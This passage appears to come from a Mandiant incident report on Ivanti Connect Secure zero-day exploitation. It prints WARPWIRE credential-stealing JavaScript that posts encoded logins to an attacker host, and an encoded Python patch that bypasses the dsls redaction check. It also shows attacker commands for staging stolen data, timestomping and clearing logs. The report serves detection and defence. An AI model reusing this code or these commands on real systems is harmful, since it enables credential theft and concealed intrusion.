`h\u003d${btoa(document.location.hostname)}\u0026amp;u\r\n\u003d${btoa(uParam)}\u0026amp;p\u003d${btoa(pParam)}`;\r\n xhr.open(\u0026#39;POST\u0026#39;, url, true);\r\n xhr.setRequestHeader\r\n(\u0026#39;Content-type\u0026#39;, \u0026#39;application/x-www-form-urlencoded\u0026#39;);\r\n xhr.send(body);\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 17: WARPWIRE variant\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003e var ivanti \u003d document.frmLogin.username.value;\r\n var login \u003d document.frmLogin.password.value;\r\n var action \u003d window.location.href;\r\n if (ivanti!\u003d\u003d\u0026quot;\u0026quot; \u0026amp;\u0026amp; login!\u003d\u003d\u0026quot;\u0026quot;) {\r\n var ivanti \u003d btoa(ivanti);\r\n var login \u003d btoa(login);\r\n var action \u003d btoa(action);\r\n const url \u003d \u0026quot;https://cpanel.netbar[.]org/assets/js/xml.php\u0026quot;;\r\n var xhr \u003d new XMLHttpRequest();\r\n xhr.open(\u0026quot;POST\u0026quot;, url, false);\r\n xhr.setRequestHeader(\u0026quot;Content-Type\u0026quot;, \u0026quot;application/x-www-form-urlencoded\u0026quot;);\r\n var params \u003d\u0026quot;ivanti\u003d\u0026quot;+ivanti +\u0026quot;\u0026amp;login\u003d\u0026quot;+ login+\u0026quot;\u0026amp;action\u003d\u0026quot;+action;\r\n xhr.send(params);\r\n }\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 18: WARPWIRE variant\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003ch3\u003eUsage of Open-Source Tooling\u003c/h3\u003e\n\u003cp\u003eAcross our incident response engagements, Mandiant identified multiple open-source tools utilized to support post-exploitation activity on Ivanti CS appliances. These tools were associated with internal network reconnaissance, lateral movement, and data exfiltration within a limited number of victim environments.\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable border\u003d\"1px\" cellpadding\u003d\"16px\" style\u003d\"border-collapse:collapse\"\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eTool Name\u00a0\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eDescription\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIMPACKET\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIMPACKET is a Python library that allows for interaction with various network protocols. It is particularly effective in environments that rely on Active Directory and related Microsoft Windows network services.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCRACKMAPEXEC\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCRACKMAPEXEC is a post-exploitation tool against Microsoft Windows environments. It is recognized for its lateral movement capabilities.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIODINE\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIODINE is a network traffic tunneler that allows for tunneling of IPv4 traffic over DNS.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eENUM4LINUX\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eENUM4LINUX is a Linux Perl script for enumerating data from Windows and Samba hosts.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eTable 2: Open source tooling identified\u003c/span\u003e\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e\n\u003ch3\u003eAdditional TTPs\u003c/h3\u003e\n\u003ch4\u003eConfiguration and Cache Theft\u003c/h4\u003e\n\u003cp\u003eMandiant has identified evidence consistent with dumping the running configuration and cache after the initial exploitation of an CS appliance using the built-in\u00a0\u003ccode\u003edsls\u003c/code\u003e\u00a0command found on CS appliances. The resulting output is saved to a\u00a0\u003ccode\u003etar\u003c/code\u003e\u00a0archive masquerading as a randomly generated 10-character CSS file within the directory:\u00a0\u003ccode\u003e/home/webserver/htdocs/dana-na/css/\u003c/code\u003e.\u00a0\u003c/p\u003e\n\u003cp\u003eWe have identified the following sequence of commands (Figure 19) executed on a compromised appliance to dump the cache and configuration into the CSS directory.\u003c/p\u003e\n\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003eexport LD_LIBRARY_PATH\u003d/lib:/home/lib;\r\nexport PATH\u003d/bin:/usr/bin:/sbin:/usr/sbin:/home/bin;\r\necho ZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGVuY29kZSBhcyBlCmY\r\n9b3BlbignL2hvbWUvYmluL2RzbHMnLCdyYicpCmM9Zi5yZWFkKC\r\nkKZi5jbG9zZSgpCnA9Yy5maW5kKGJ5dGVzLmZyb21oZXgoJzhkY\r\nmQ2MGZmZmZmZicpKQppZiBwPjA6CiBkPWJ5dGVhcnJheShjKQ\r\nogaWYgZFtwLTJdPT0weDc0OgogIGRbcC0yXT0weGViCiAgZj1vcG\r\nVuKCcvdG1wL3Rvb2xzJywnd2InKQogIGYud3JpdGUoZCkKICBmL\r\nmNsb3NlKCkKICBzPSdmJwogZWxzZToKICBzPSdpJwplbHNlOgo\r\ngcz0nbicKcHJpbnQocyxlbmQ9Jycp\r\n|base64 -d|/home/venv3/bin/python;\r\nchmod +x /tmp/tools;\r\n/tmp/tools -S -R -B /vc \u0026gt;/tmp/test1.txt;\r\nrm -rf /tmp/tools;\r\ntouch /tmp/testt -r /home/webserver/htdocs/dana-na/css;\r\nmount -o rw,remount /;\r\ntar czf /home/webserver/htdocs/dana-na/css/\u0026lt;REDACTED\u0026gt;.css /tmp/test1.txt;\r\nrm -rf /tmp/test1.txt;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 19: Command sequence to dump the cache and configuration\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe command sequence executes a Base64-encoded Python script that writes a patched version of the\u00a0\u003ccode\u003edsls\u003c/code\u003e\u00a0binary (\u003ccode\u003e/home/bin/dsls\u003c/code\u003e) into\u00a0\u003ccode\u003e/tmp/tools\u003c/code\u003e. At a high level, the patched binary allows the\u00a0\u003ccode\u003edsls\u003c/code\u003e\u00a0command to display sensitive information that is typically redacted. Figure 20 shows the Base64-decoded Python script.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003efrom base64 import b64encode as e\r\nf\u003dopen(\u0026#39;/home/bin/dsls\u0026#39;,\u0026#39;rb\u0026#39;)\r\nc\u003df.read()\r\nf.close()\r\np\u003dc.find(bytes.fromhex(\u0026#39;8dbd60ffffff\u0026#39;))\r\nif p\u0026gt;0:\r\n\td\u003dbytearray(c)\r\n\tif d[p-2]\u003d\u003d0x74:\r\n \t\td[p-2]\u003d0xeb\r\n\t\tf\u003dopen(\u0026#39;/tmp/tools\u0026#39;,\u0026#39;wb\u0026#39;)\r\n\t\tf.write(d)\r\n\t\tf.close()\r\n\t\ts\u003d\u0026#39;f\u0026#39;\r\n\t else:\r\n\t s\u003d\u0026#39;i\u0026#39;\r\nelse:\r\n s\u003d\u0026#39;n\u0026#39;\r\nprint(s,end\u003d\u0026#39;\u0026#39;)\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 20: Base64-decoded Python script\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe script looks for the byte sequence\u00a0\u003ccode\u003e0x8dbd60ffffff\u003c/code\u003e\u00a0within the file\u00a0\u003ccode\u003e/home/bin/dsls\u003c/code\u003e. This is a legitimate executable on Ivanti Connect Secure appliances used for displaying the running configuration and cache information. If the byte sequence is found (\u003ccode\u003ep\u0026gt;0\u003c/code\u003e), it creates a byte array (\u003ccode\u003ed\u003c/code\u003e) from the file contents (\u003ccode\u003ec\u003c/code\u003e) for further modification.\u003c/p\u003e\n\u003cp\u003eThe logic then checks if the byte 2 positions before the found byte sequence (\u003ccode\u003ep-2\u003c/code\u003e) is equal to\u00a0\u003ccode\u003e0x74\u003c/code\u003e. If it is equal to\u00a0\u003ccode\u003e0x74\u003c/code\u003e, it replaces that byte with\u00a0\u003ccode\u003e0xeb\u003c/code\u003e. Lastly, the script rewrites the modified byte array into\u00a0\u003ccode\u003e/tmp/tools\u003c/code\u003e.\u00a0\u003c/p\u003e\n\u003cp\u003eThe modification of the binary turns a conditional\u00a0\u003ccode\u003eJMP\u003c/code\u003e\u00a0instruction (\u003ccode\u003e0x74\u003c/code\u003e) into an unconditional\u00a0\u003ccode\u003eJMP\u003c/code\u003e\u00a0(\u003ccode\u003e0xeb\u003c/code\u003e). The patch forces the execution flow to bypass a check in the legitimate\u00a0\u003ccode\u003edsls\u003c/code\u003e\u00a0binary responsible for redacting sensitive data. This allows for the patched binary to display the value of fields that is typically redacted in the output with\u00a0\u003ccode\u003e\u0026lt;secure\u0026gt;\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe command sequence continues to do the following:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eExecute\u00a0\u003ccode\u003e/tmp/tools\u003c/code\u003e\u00a0(patched version of\u00a0\u003ccode\u003e/home/bin/dsls\u003c/code\u003e) to dump the configuration and cache to\u00a0\u003ccode\u003e/tmp/test1.txt\u003c/code\u003e\u00a0\u003c/li\u003e\n\u003cli\u003eRemove\u00a0\u003ccode\u003e/tmp/tools\u003c/code\u003e\u00a0\u003c/li\u003e\n\u003cli\u003eCreate an empty file\u00a0\u003ccode\u003e/tmp/testt\u003c/code\u003e\u00a0with the modified and access timestamps of\u00a0\u003ccode\u003e/home/webserver/htdocs/dana-na/css/\u003c/code\u003e. This will be used later to timestomp the CSS directory with its original timestamps.\u00a0\u003c/li\u003e\n\u003cli\u003eRemount the file system as read-write\u003c/li\u003e\n\u003cli\u003eArchive the dump into a CSS file within\u00a0\u003ccode\u003e/home/webserver/htdocs/dana-na/css/\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eDelete\u00a0\u003ccode\u003e/tmp/test1.txt\u003c/code\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eMandiant identified efforts to remove evidence of compromise after the configuration and cache dump were downloaded from the server by the threat actor. The command sequence in Figure 21 was issued by exploiting CVE-2023-46805 and CVE-2024-21887.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003erm -rf /home/webserver/htdocs/dana-na/css/\u0026lt;REDACTED\u0026gt;.css;\r\ntouch -r /tmp/testt /home/webserver/htdocs/dana-na/css;\r\nrm -rf /tmp/testt;\r\necho \u0026gt; /data/var/dlogs/config_rest_server.log;\r\nmount -o ro,remount/\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 21: Command sequence to cover up evidence of compromise\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe command sequence does the following:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eDelete the staged configuration and cache dump\u003c/li\u003e\n\u003cli\u003eTimestomp the CSS directory with the modified and access timestamps of\u00a0\u003ccode\u003e/tmp/testt\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eClear the\u00a0\u003ccode\u003econfig_rest_server.log\u003c/code\u003e\u00a0file that would record exploitation attempts of CVE-2023-46805 and CVE-2024-21887\u003c/li\u003e\n\u003cli\u003eRemount the file system in read-only mode, reverting it back to its original state\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eAdditionally, we have identified the configuration and dump being saved to compressed files located in the following paths:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e/runtime/webserver/htdocs/dana-na/help/logo.gif\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e/runtime/webserver/htdocs/dana-na/help/login.gif\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIvanti has published additional\u00a0\u003ca href\u003d\"https://forums.ivanti.com/s/article/Recovery-Steps-Related-to-CVE-2023-46805-and-CVE-2024-21887?language\u003den_US\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eguidance\u003c/u\u003e\u003c/a\u003e\u00a0on remediating the risk resulting from the cache and configuration dump. This includes resetting local account credentials, resetting API keys, and the revocation of certificates.\u003c/p\u003e\n\u003ch4\u003eCAV Web Server Log Exfiltration\u003c/h4\u003e\n\u003cp\u003eMandiant has identified evidence of exfiltration of the CAV web server logs staged in\u00a0\u003ccode\u003e/runtime/webserver/htdocs/dana-na/help/logo.gif\u003c/code\u003e. The path does not legitimately contain\u00a0\u003ccode\u003elogo.gif\u003c/code\u003e.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003e/usr/bin/printf \u0026#39;GIF\u0026#39;\u0026gt;/home/webserver/htdocs/dana-na/help/logo.gif;\r\n/usr/bin/printf \u0026#39;GIF\u0026#39;\u0026gt;/home/webserver/htdocs/dana-na/help/logo.gif;\r\ncat /data/var/dlogs/cav_webserv.log|/usr/bin/base64\u0026gt;\u0026gt;/home/\r\nwebserver/htdocs/dana-na/help/logo.gif\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 22: Command sequence leading to exfiltration of the CAV web server logs\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe command redirects the GIF header into\u00a0\u003ccode\u003elogo.gif\u003c/code\u003e\u00a0and then appends the Base64-encoded contents of\u00a0\u003ccode\u003e/data/var/dlogs/cav_webserv.log\u003c/code\u003e\u00a0into the same file.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecav_webserv.log\u003c/code\u003e\u00a0contains web requests and logs maintained by uWSGI for the CAV REST API. Mandiant has identified multiple modifications to the associated CAV Python package to include web shells such as WIREFIRE, CHAINLINE, and FRAMESTING. Any requests to those web shells would be logged in this file.\u003c/p\u003e\n\u003ch4\u003eICT Manipulation\u003c/h4\u003e\n\u003cp\u003eThe system's internal integrity checker tool can help detect modifications or additions made to the file system. Mandiant has identified instances where the external ICT detected a modification to a Python package associated with the internal ICT:\u00a0\u003ccode\u003e/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg\u003c/code\u003e.\u00a0\u003c/p\u003e\n\u003cp\u003eWe identified a single line commented out in\u00a0\u003ccode\u003escanmgr.py\u003c/code\u003e\u00a0that disables the execution of the scanner.\u003c/p\u003e"]]],[null,null,null,null,null,null,null,null,[[[null,"\u003cp\u003eFigure 23: Scanner execution commented out in scanmgr.py\u003c/p\u003e"],["https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1100x1100.png 1060w, https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png 1554w"," 1060px, 1554px","https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png"],null,3]]],[null,null,[null,[null,"\u003cp\u003eAdditionally, Volexity published a\u00a0\u003ca href\u003d\"https://www.volexity.com/blog/2024/01/18/ivanti-connect-secure-vpn-exploitation-new-observations/\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eblog post\u003c/u\u003e\u003c/a\u003e\u00a0on Jan. 18, 2024 detailing another method leveraged to tamper with the built-in integrity checker tool on a compromised Ivanti Connect Secure appliance.\u003c/p\u003e\n\u003cp\u003eMandiant has observed threat actors tampering with the internal ICT by modifying the manifest file located at\u00a0\u003ccode\u003e/home/etc/manifest\u003c/code\u003e. This file maintains a list of the expected files on the system and its associated SHA256 hash. The internal ICT verifies the manifest file\u2019s signature using a public key.\u003c/p\u003e\n\u003cp\u003eIn some instances, the threat actor failed to create a new digital signature of the manifest file. This causes the internal ICT to fail and generates event ID\u00a0\u003ccode\u003eSYS32042\u003c/code\u003e\u00a0in the system event log, indicating that the manifest file is bad.\u003c/p\u003e\n\u003cp\u003eThe full list of event IDs associated with the integrity checker tool can be found in Table 3.\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable border\u003d\"1px\" cellpadding\u003d\"16px\" style\u003d\"border-collapse:collapse;margin-left:auto;margin-right:auto\"\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eEvent ID\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eSummarized Description\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32039\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eNew files were found with the Internal Integrity Check Tool.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32040\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA modified file was found with the Internal Integrity Check Tool.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32041\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eThe Integrity Check Tool manifest file is missing.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32042\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eThe Integrity Checker Tool manifest file is bad.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32087\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA built-in integrity scan has 